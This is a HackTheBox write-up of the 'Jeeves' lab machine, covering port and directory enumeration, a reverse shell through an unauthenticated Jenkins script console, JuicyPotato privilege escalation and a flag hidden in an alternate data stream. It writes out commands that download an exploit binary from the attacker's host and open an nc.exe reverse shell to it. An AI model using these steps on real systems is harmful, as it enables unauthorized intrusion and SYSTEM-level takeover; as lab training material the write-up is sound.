HackTheBox - Jeeves
Jeeves is not overly complicated, however it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.
Enumeration
NMap
Now, adding IP to /etc/hosts as jeeves.htb and starting with nmap scan
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$ sudo nmap -p- jeeves.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 22:31 IST
Nmap scan report for jeeves.htb (10.10.10.63)
Host is up (0.18s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Nmap done: 1 IP address (1 host up) scanned in 459.48 seconds
$ sudo nmap -p80,135,445,50000 jeeves.htb -T5 -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 22:39 IST
Nmap scan report for jeeves.htb (10.10.10.63)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-04-30T22:09:53
|_ start_date: 2024-04-30T21:25:27
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.22 seconds
- There is an old askjeeves search engine copy, running on port 80. which has no functionality.
- Hence, I have triggered directory searching on both port 80 and 50000.
Gobuster
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$ gobuster dir -u http://jeeves.htb:50000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jeeves.htb:50000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/askjeeves (Status: 302) [Size: 0] [--> http://jeeves.htb:50000/askjeeves/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
After Proceeding to check http://jeeves.htb:50000/askjeeves/, there is an un-authenticated jenkins page here. Looks like we could run our desired command execution via groovy script console or via jenkin’s job cmd execution.
manage jenkins > script console
Foothold
Reverse shell via Jenkins groovy script console
There is a groovy script available on github to get reverse-shell on netcat for us.
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
Run the script in groovy script console of jenkins. Once you have shell on netcat, you are user ‘Jeeves/Kohsuke’ on the system. you can read the user.txt.
C:\Users\kohsuke\Desktop\user.txt
e3232272596fb47950d59c4cf1e7066a
Privilege Escalation
As SeImpersonatePrivilege is Enabled, we can use potato binaries to priv esc.
We need 3 files to be sent from attackers machine on to Jeeves.
- JuicyPotato.exe - For exploiting
- nc.exe - to get the reverse shell
- Script to print cls_ids for potato to escalate to.
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New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
Write-Host $a.CLSID
}
You can download the files via the command below on Jeeves machine.
cmd.exe /c PowerShell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.17:8000/JuicyPotato.exe', 'JuicyPotato.exe')"
GetCLSID.ps1 -also worth looking, but coudlnot get it to work.
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echo C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.14.17 1234 > priv.bat
type priv.bat
C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.14.17 1234
First, start a netcat listener.
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$ sudo rlwrap -cAr nc -lnvp 1234
[sudo] password for kali:
listening on [any] 1234 ...
Run the getclsid_simple.ps1 script to fetch us some clsids. sometimes, we may not have rights to execute scripts on the machine. then you can use clsids from here:
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Pro
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PowerShell.exe -Command "getclsid_simple.ps1"
[truncated]
{054AAE20-4BEA-4347-8A35-64A533254A9D}
{06622D85-6856-4460-8DE1-A81921B41C4B}
{06B2132B-5B99-42A6-B8B6-A1709E191C70}
[Truncated]
As all of the clsids are not useful. We need to keep testing all clsids one by one. some clsid might fetch us a reverse shell.
Run the JuicyPotato. 
we get netcat shell with NT Authority/SYSTEM privileges.
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$ sudo rlwrap -cAr nc -lnvp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.63] 49787
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
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C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,539,278,336 bytes free
C:\Users\Administrator\Desktop>type hm.txt
type hm.txt
The flag is elsewhere. Look deeper.
Root Flag with Alternate Data stream
https://www.malwarebytes.com/blog/news/2015/07/introduction-to-alternate-data-streams
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C:\Users\Administrator\Desktop>dir /R
dir /R
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,539,278,336 bytes free
C:\Users\Administrator\Desktop>more < hm.txt:root.txt
more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530
Observe Filename hm.txt:root.txt:$DATA
Additional: Privilege Escalation via keepass DB
we can find a file like below. But i did not proceed with this way of escalation.
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C:\Users\kohsuke\Documents>dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\kohsuke\Documents
11/03/2017 11:18 PM <DIR> .
11/03/2017 11:18 PM <DIR> ..
09/18/2017 01:43 PM 2,846 CEH.kdbx
1 File(s) 2,846 bytes
2 Dir(s) 2,539,278,336 bytes free